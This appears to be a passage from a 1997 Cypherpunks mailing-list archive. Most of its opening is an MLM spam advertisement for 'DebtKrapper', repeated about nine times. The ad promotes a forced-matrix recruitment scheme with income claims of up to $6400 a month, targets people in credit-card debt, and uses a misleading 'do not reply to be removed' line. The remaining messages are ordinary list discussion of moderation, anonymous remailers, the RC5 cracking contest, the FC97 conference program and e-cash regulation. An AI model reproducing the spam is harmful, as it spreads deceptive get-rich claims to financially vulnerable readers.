For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!


If this message has reached you in error, we apologize. Your name will be automatically & permanently deleted from our files if you do not reply.

DebtKrapper??? 
(K.R.A.P.P.E.R. = Keeping Responsible Americas Perpetually Prosperous, Entertained and Rewarded)

If your Kredit is in the Krapper and your monthly credit card bills are more than your mortgage payments and grocery bill combined then:
1)  you are in trouble, and 
2)  You are just like millions of others who need help NOW.

ANNOUNCING THE LAUNCH OF DEBTKRAPPER, without doubt the most unique off the wall lucrative opportunity to make a lot of money & enjoy a good laugh. Our highly entertaining and prestigious weekly newsletter, the ROYAL FLUSH,  is designed to bring a smile to your face while helping put YOUR bills in the Krapper where they belong! 
If your lottery tickets are worth less than toilet paper and you're not laughing all the way to the bank, join the newest, hottest, funniest, most positive way to wipe out your debts - permanently. (Unofficial motto: It may not be much, but it sure beats the Krap out of debt!)

DEBTKRAPPER - MORE THAN JUST ANOTHER PRETTY MLM:
· 3 x 7 forced matrix + extras
· the most FUN NEWSLETTER on the Internet (also the most modest)
* Up to $6400/month from the original matrix 
* extensive company advertising = SPILLOVER!

For more information on the NEWEST, NUTTIEST way to earn a LUCRATIVE, RESIDUAL income, e-mail with "DK-Info" in subject line to:
starvino@gte.net
This is a company-sponsored ad.  You will be placed in the highest available spot in the COMPANY matrix.
IMPORTANT:  We're looking for one more "MLM pro" to head up our 3rd and final company leg .. if you think you qualify, let us know!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 6 Feb 1997 17:24:21 -0800 (PST)
To: Firebeard <stend@sten.tivoli.com>
Subject: Re: "Why am I being completely censored"?
In-Reply-To: <199702062312.PAA02488@toad.com>
Message-ID: <3.0.1.32.19970206172229.00634188@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:47 PM 2/6/97 -0600, Firebeard wrote:
>>>>>> John Gilmore writes:
>
>JG> Hmm.  Your message that I just received, about this problem, was
>JG> cc'd to cypherpunks.  It did not make it into the
>JG> cypherpunks-unedited list.  In examining the message header
>JG> itself, there is an "Approved: yes" line.  My guess is that your
>JG> attempt to be too tricky has screwed you.
>
>	It appears that this was the problem.  Deal with a
>self-moderated newsgroup, and ent up with self-censorship.  *shrug*.
>I wish that John had helped to resolve the problem before I made it
>public, but that's life.

John does have other things to do with his time, you know :-)
If you're abusing email syntax to fake out specialized mail/news handling, 
you shouldn't be surprised if it doesn't always fake out the parts
of the system you were trying to fake out....



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 6 Feb 1997 14:43:12 -0800 (PST)
To: c.musselman@internetmci.com
Subject: Re: anonymous remailers
In-Reply-To: <32fa39d8.16371604@mail-relay.internetmci.com>
Message-ID: <0myZru200YUh099eM0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

c.musselman@internetmci.com (Charley Musselman) writes:
> C'punks --
>         When I told a friend about the alt.drugs.pot cultivation newsgroup
> and suggested that he use an anonymous remailer to post to the group,
> he laughed and said, "Who do you suppose runs the remailers?  ATF,
> FBI, DEA, that's who!"  Gee, it makes sense to this paranoid.  Does
> anyone know the answer?  Specifically, how can we choose a trusted
> remailer?

The solution is not to choose a trusted remailer, but to choose a
group of remailers and send your message through each one
sequentially. If you use encryption, and any one of the remailers you
send your message through is trustworthy, than it is difficult or
impossible for someone to trace your message.

Here are some places to go to find more info on remailers:
http://WWW.CSUA.Berkeley.EDU/cypherpunks/remailer/
http://www.stack.nl/~galactus/remailers/index-anon.html
http://www.cs.berkeley.edu/~raph/remailer-list.html (Look at the
bottom, there's everything you need to know there.)

Please bear in mind that anon.penet.fi no longer exists, and that it
wasn't all that secure when it did.

Hope this helps, and happy growing :-)
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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iQB1AwUBMvpd9skz/YzIV3P5AQGIyAL/eFZ1sLcO0Gx/0BadHnhQVzJZowmJOcAq
uChnzxSZmSQ8VRSHNjSh8H5i65jw1BIqWlsA8Oe7jnhRcPIqOcmNIdtTJwXP4qV7
HJO+uZwwKP7td5HPTzjD1f8iyO9VIRCj
=p5V+
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: roy@sendai.scytale.com (Roy M. Silvernail)
Date: Thu, 6 Feb 1997 19:23:36 -0800 (PST)
To: stewarts@ix.netcom.com (Bill Stewart)
Subject: Re: ITAR and Paper ROM
In-Reply-To: <199702061456.GAA24462@toad.com>
Message-ID: <970206.175211.5I9.rnr.w165w@sendai.scytale.com>
MIME-Version: 1.0
Content-Type: text


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, stewarts@ix.netcom.com writes:

> More practically, sort of, there was the Cauzin Softstrip Reader,
> which cost about $200 and held enough data to distribute programs
> back when computers and programs were much smaller; a few PC magazines
> tried distributing programs by printing them in the back that way.
> Cute, but not cute enough to stick around very long.

Cauzin was bought by Eastman Kodak shortly after they started
advertising in the big rags (like _Byte_, which printed a test strip a
month or so before Cauzin made their big advertising push).  Cauzin was
even putting freeware programs in their ads.  At that time, Kodak was
just entering the soon-to-be-lucrative magnetic media market with their
floppy disk line.  I'd say they were bought and buried.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

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LcehDOQMpbbj/lSdd/rC0raj7U38wuXZn84xi/bdbXWKwXzVKWaq3AwqRgLm9aBT
9NS0RZOiPEY=
=PFiP
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 6 Feb 1997 15:11:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
In-Reply-To: <v03007806af1ff955a4a2@[198.115.179.81]>
Message-ID: <Pine.LNX.3.95.970206175027.1199B-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 6 Feb 1997, Vin McLellan wrote:

> >Date: Thu, 30 Jan 1997 20:10:36 -0500
> >To: "Wright Larry" <Wright_Larry@bah.com>
> >From: "Paul A. Strassmann" <paul@strassmann.com>
> >Subject: Further to Goldberg's Cracking Accomplishments
> >Gentlemen:
> >
> >As I suspected (see earlier private comment), the
> >highly promoted RSA cracking contest offered
> >a number of clues that ordinarly would not be
> >volunteered by  info-terrorists or info-criminals to
> >IW Defense teams.
> >
> >These clues made the cracking significantly easier,
> >because it made it possible to eliminate an enormous
> >range of possible searches.

Hmm..., word size, number of rounds, and key size are "clues"?  At least he
won't be able to make this claim when DES is cracked.  OTOH, he might consider
a known IV to be information not available under "infowar conditions."
Apparently, "Info Warriors" aren't supposed to be familiar with open standards.

> >Clue #3: (a  giveway!)
> >
> > " ... For each contest, the unknown plaintext message is preceded by three
> >   known blocks of text that contain the 24-character phrase "The
> >   unknown message is:  .....".

He considers a known-plaintext attack to be "a  giveway![sic]"?  It seems that
this guy could use a few clues himself.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: R.Hirschfeld@cwi.nl
Date: Thu, 6 Feb 1997 09:35:26 -0800 (PST)
To: ray@cwi.nl
Subject: revised FC97 program
Message-ID: <9702061733.AA09419=ray@zeus.cwi.nl>
MIME-Version: 1.0
Content-Type: text/plain


		      Financial Cryptography '97
		  February 24-28 1997, Anguilla, BWI
			 PRELIMINARY PROGRAM
		      (Revised 6 February 1997)


General Information:

Financial Cryptography '97 (FC97) is a new conference on the security
of digital financial transactions.  The first meeting will be held on
the island of Anguilla in the British West Indies on February 24-28,
1997.  FC97 aims to bring together persons involved in both the
financial and data security fields to foster cooperation and exchange
of ideas.

Original papers were solicited on all aspects of financial data
security and digital commerce in general.


Program Committee:

Matthew Franklin, AT&T Laboratories--Research, Murray Hill, NJ, USA
Michael Froomkin, U. Miami School of Law, Coral Gables, FL, USA
Rafael Hirschfeld (Program Chair), CWI, Amsterdam, The Netherlands
Arjen Lenstra, Citibank, New York, NY, USA
Mark Manasse, Digital Equipment Corporation, Palo Alto, CA, USA
Kevin McCurley, Sandia Laboratories, Albuquerque, NM, USA
Charles Merrill, McCarter & English, Newark, NJ, USA
Clifford Neuman, Information Sciences Institute, Marina del Rey, CA, USA
Sholom Rosen, Citibank, New York, NY, USA
Israel Sendrovic, Federal Reserve Bank of New York, New York, NY, USA


Preliminary Conference Program for FC97:

Monday 24 February 1997

 800 --  820
    Breakfast

 820 --  830
    Welcome

 830 --  905
    Anonymity Control in E-Cash Systems
    George Davida (University of Wisconsin, Milwaukee, WI, USA),
    Yair Frankel (Sandia National Laboratories, Albuquerque, NM, USA),
    Yiannis Tsiounis (Northeastern University, Boston, MA, USA),
    Moti Yung (CertCo, New York, NY, USA)

 905 --  940
    How to Make Personalized Web Browsing Simple, Secure, and Anonymous
    Eran Gabber, Phil Gibbons, Yossi Matias, Alain Mayer
        (Bell Laboratories, Lucent Technologies)

 940 -- 1015
    Anonymous Networking and Virtual Intranets: Tools for Anonymous
        Corporations
    Jim McCoy (Electric Communities, Cupertino, CA, USA)

1015 -- 1045
    Coffee Break

1045 -- 1120
    Unlinkable Serial Transactions
    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

1120 -- 1155
    Efficient Electronic Cash with Restricted Privacy
    Cristian Radu, Rene Govaerts, Joos Vandewalle
        (Katholieke Universiteit Leuven, Leuven, Belgium)

1155 -- 1230
    The SPEED Cipher
    Yuliang Zheng (Monash University, Melbourne, Australia)

1230 -- 1330
    Lunch

1800 -- 1930
    Cocktail Reception (at Mariners Hotel)


Tuesday 25 February 1997

 800 --  830
    Breakfast

 830 --  930
    Invited Speaker
    Evaluating the security of electronic money;
        the view of a European central bank
    Simon L. Lelieveldt (De Nederlandsche Bank, Amsterdam, Netherlands)

 930 -- 1005
    Smart Cards and Superhighways
        The technology-driven denationalisation of money
    David G.W. Birch, Neil A. McEvoy (Hyperion, Surrey, England)

1005 -- 1045
    Coffee Break

1045 -- 1120
    Fault Induction Attacks, Tamper Resistance, and Hostile Reverse
        Engineering in Perspective
    David P. Maher (AT&T Labs--Research, Murray Hill, NJ, USA)

1120 -- 1155
    Some Critical Remarks on "Dynamic Data Authentication" as
        specified in EMV '96
    Louis C. Guillou (CCETT, Cesson-Sevigne, France)

1155 -- 1230
    Single-chip implementation of a cryptosystem for financial
        applications
    Nikolaus Lange (SICAN Braunschweig GmbH, Braunschweig, Germany)

1230 -- 1330
    Lunch


Wednesday 26 February 1997

 800 --  830
    Breakfast

 830 --  930
    Invited Speaker
    Ronald Rivest (MIT Lab for Computer Science, Cambridge, MA, USA)

 930 -- 1005
    Auditable Metering with Lightweight Security
    Matthew K. Franklin, Dahlia Malkhi
        (AT&T Labs--Research, Murray Hill, NJ, USA)

1005 -- 1045
    Coffee Break

1045 -- 1120
    SVP: a Flexible Micropayment Scheme
    Jacques Stern, Serge Vaudenay (Ecole Normale Superieure, Paris, France)

1120 -- 1155
    An efficient micropayment system based on probabilistic polling
    Stanislaw Jarecki (MIT Lab for Computer Science, Cambridge, MA, USA),
    Andrew Odlyzko (AT&T Labs--Research, Murray Hill, NJ, USA)

1155 -- 1230
    On the continuum between on-line and off-line e-cash systems - I
    Yacov Yacobi (Microsoft, Redmond, WA, USA)

1230 -- 1330
    Lunch


Thursday 27 February 1997

 800 --  830
    Breakfast

 830 --  905
    Towards Multiple-payment Schemes for Digital Money
    H. Pagnia, R. Jansen (University of Darmstadt, Darmstadt, Germany)

 905 --  940
    Applying Anti-Trust Policies to Increase Trust in a Versatile
        E-Money System
    Markus Jakobsson (UCSD, La Jolla, CA, USA),
    Moti Yung (BTEC/CertCo, New York, NY, USA)

 940 -- 1015
    Cyberbanking and Privacy: The Contracts Model
    Peter P. Swire (Ohio State University, Columbus, OH, USA)

1015 -- 1045
    Coffee Break

1045 -- 1120
    Legal Issues in Cryptography
    Edward J. Radlo (Fenwick & West LLP, Palo Alto, CA, USA)

1120 -- 1230
    Panel Discussion
    Legal Issues of Digital Signatures
    Michael Froomkin (U. of Miami School of Law, Coral Gables, FL, USA),
    Charles Merrill (McCarter & English, Newark, NJ, USA),
    Benjamin Wright (Dallas, TX, USA)

1230 -- 1330
    Lunch

1930 -- 2015
    Invited Speaker
    Money Laundering: Yesterday, Today and Tomorrow
    Peter Wayner (Baltimore, MD, USA)

2015 -- 2200
    Rump Session


Friday 28 February 1997

 800 --  830
    Breakfast

 830 --  905
    The Strategic Role of Government in Electronic Commerce
    Paul Lampru (Verifone, Atlanta, GA, USA)

 905 --  940
    Using Markets to Achieve Efficient Task Distribution
    Ian Grigg, Christopher C. Petro (Systemics, Amsterdam, Netherlands)

 940 -- 1015
    The Gateway Security Model in the Java Electronic Commerce Framework
    Theodore Goldstein (Sun Microsystems Laboratories/Javasoft)

1015 -- 1045
    Coffee Break

1045 -- 1120
    Highly Scalable On-line Payments Via Task Decoupling
    David William Kravitz (CertCo LLC, Albuquerque, NM, USA)

1120 -- 1155
    GUMP; Grand Unified Meta-Protocols
        Recipes for Simple, Standards-based Financial Cryptography
    Barbara Fox, Brian Beckman (Microsoft, Redmond, WA, USA)

1155 -- 1230
    Secure Network Communications and Secure Store&Forward Mechanisms
        with SAP R/3
    Bernhard Esslinger (SAP AG, Walldorf, Germany)

1230 -- 1330
    Lunch


Updates of the conference schedule will be available at the URL
http://www.cwi.nl/conferences/FC97/.

The conference will run from 8:30 AM to 12:30 PM for five days,
February 24-28 1997.  Breakfast and lunch are provided at the
conference.  The conference organizers have left the afternoons and
evenings open for corporate sponsored events, for networking, and for
recreational activities on the resort island of Anguilla.
Participants are encouraged to bring their families.


Workshop:

A 40-hour workshop, intended for anyone with commercial software
development experience who wants hands-on familiarity with the issues
and technology of financial cryptography, is planned in conjunction
with FC97, to be held during the week preceding the conference.

For more information on the workshop, please see the URL
http://www.cs.berkeley.edu/~iang/fc97/workshop.html.

For workshop registration, see the URL
http://www.offshore.com.ai/fc97/.


Venue:

The InterIsland Hotel is a small 14-room guest house and a large,
comfortable 150 seat conference facility with additional space for a
small 10-booth exhibition.  The Inter-Island is on Road Bay, near
Sandy Ground Village, in the South Hill section of Anguilla.  The
conference, workshop, and exhibition will have TCP/IP internet access.
The rooms at the InterIsland itself have sold out, but there are many
other hotels and guest houses on Anguilla, and shuttle service to the
conference will be available.


Air Transportation and Hotels:

Air travel to Anguilla is typically done through either San Juan or
St. Thomas for US flights, or St. Maarten/Martin for flights from
Europe and the US.

Anguillan import duties are not imposed on hardware or software which
will leave the island again. There are no other taxes--or cryptography
import/export restrictions--on Anguilla.

Hotels range from spartan to luxurious, and more information about
hotels on Anguilla can be obtained from your travel agent, or at the
URL http://www.offshore.com.ai/fc97/.


General Chairs:

Robert Hettinga, Shipwright/e$, Boston, MA, USA;
rah@shipwright.com

Vincent Cate, Offshore Information Services, Anguilla, BWI;
vince@offshore.com.ai

Conference, Exhibits, and Sponsorship Manager:

Julie Rackliffe, Boston, MA, USA;
rackliffe@tcm.org

Workshop Leader:

Ian Goldberg, Berkeley, CA, USA;
iang@cs.berkeley.edu


Registration:

You can register and pay for conference admission via the World Wide
Web at the URL http://www.offshore.com.ai/fc97/.

The cost of the FC97 Conference is US$1,000.

Booths for the exhibition start at US$5,000 and include two conference
tickets. For more information about exhibit space, contact Julie
Rackliffe, rackliffe@tcm.org.  Sponsorship opportunities for FC97 are
still available.

The cost of the workshop is US$5000, and includes meals but not
lodging.  You can register for the workshop, which runs the week prior
to the conference, at the URL http://www.offshore.com.ai/fc97.


Financial Cryptography '97 is held in cooperation with the
International Association for Cryptologic Research.

It is sponsored by:

The Journal for Internet Banking and Commerce
    <http://www.arraydev.com/commerce/JIBC/>
Offshore Information Services <http://www.offshore.com.ai/>
e$ <http://www.shipwright.com/rah/>
C2NET <http://www.c2.net/>
See Your Name Here <mailto: rackliffe@tcm.org>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Thu, 6 Feb 1997 18:38:11 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Blessing in Disguise? (H.R. 98, the "Consumer Internet Privacy Protection Act of 1997")
Message-ID: <199702070237.SAA02731@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:27 PM 2/6/97 -0500, Robert Hettinga wrote:
>
>This attempted legislation (see forward, below) is a blessing in disguise.
>
>It's just more proof that book-entry commerce isn't going to work on the
>net in the long run.
[deleted]

>+  SET, Cybercash/coin, SSL, and other encrypted-channel book entry
>methods, is a derigeble. You're flying, but you're using minimally strong
>crypto like little aerodynamic fins to push the giant gas bag of book-entry
>settlement around.

Now, is that a helium or a HYDROGEN dirigible?!?

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 6 Feb 1997 15:58:18 -0800 (PST)
To: Duncan Frissell <cypherpunks@toad.com
Subject: Re: FinCEN hates cybercash, who 'da thunk it...
In-Reply-To: <199702062301.PAA02200@toad.com>
Message-ID: <v03007807af201e9810ed@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:47 pm -0500 2/6/97, Duncan Frissell wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>>But Stanley Morris of the United States Treasury, who chaired a FAFT
>>working group which drafted the report, told a news conference that
>>law enforcement agencies would face 'very major new challenges' if new
>>technology moves the world "to a cashless society, beyond banks, cash
>>and borders."
>
>Oh No!  First they told us that they were all in favor of a cashless society
>because they could track all the transactions.  It was their Orwellian
>Dream.  Now Nirvana has almost arrived and they're afraid of it.  Can't
>they make up their minds?
>
>I noticed the problem long about 1975 when I noticed that the spread of
>ATM cards was actually the spread of a bearer instrument and would
>not satisfy the control needs of the regulatory types.

In a geodesic network, any node which tries to process all the traffic
chokes. The network then routes, to paraphrase Gilmore, around it. :-).

I remember this pravda chart at CFP a year ago, where FinCEN was
"demonstrating" (in a chart with no Y-axis) their "increased supervisory
load" due to the exponentiating use of point to point electronic
transaction settlement.

Be careful whatcha wish for fellas. An old Texas A&M Aggie joke about a
poor monkey trying to put the cork back into a pig's butt comes to mind...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Thu, 6 Feb 1997 11:22:45 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Re: Moderation, Tim, Sandy, me, etc.  *  Strong crypto == DES?!
Message-ID: <855255622.101312.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> Tim, the Cypherpunks have chosen to follow Sandy's lead for this
> month.  I'll admit I made it easy for them, but the results are
> conclusive.  There are 1311 addresses in the cypherpunks list today;
> 42 in the unedited list; and 19 in the flames list.  Forty people
> cared enough to read every posting; the other thousand either wanted
> to try the experiment -- or didn't care enough to send an email
> message.  Which, as we all know, is a very low threshold.

As I, and a number of other list members, have said: Why did you not 
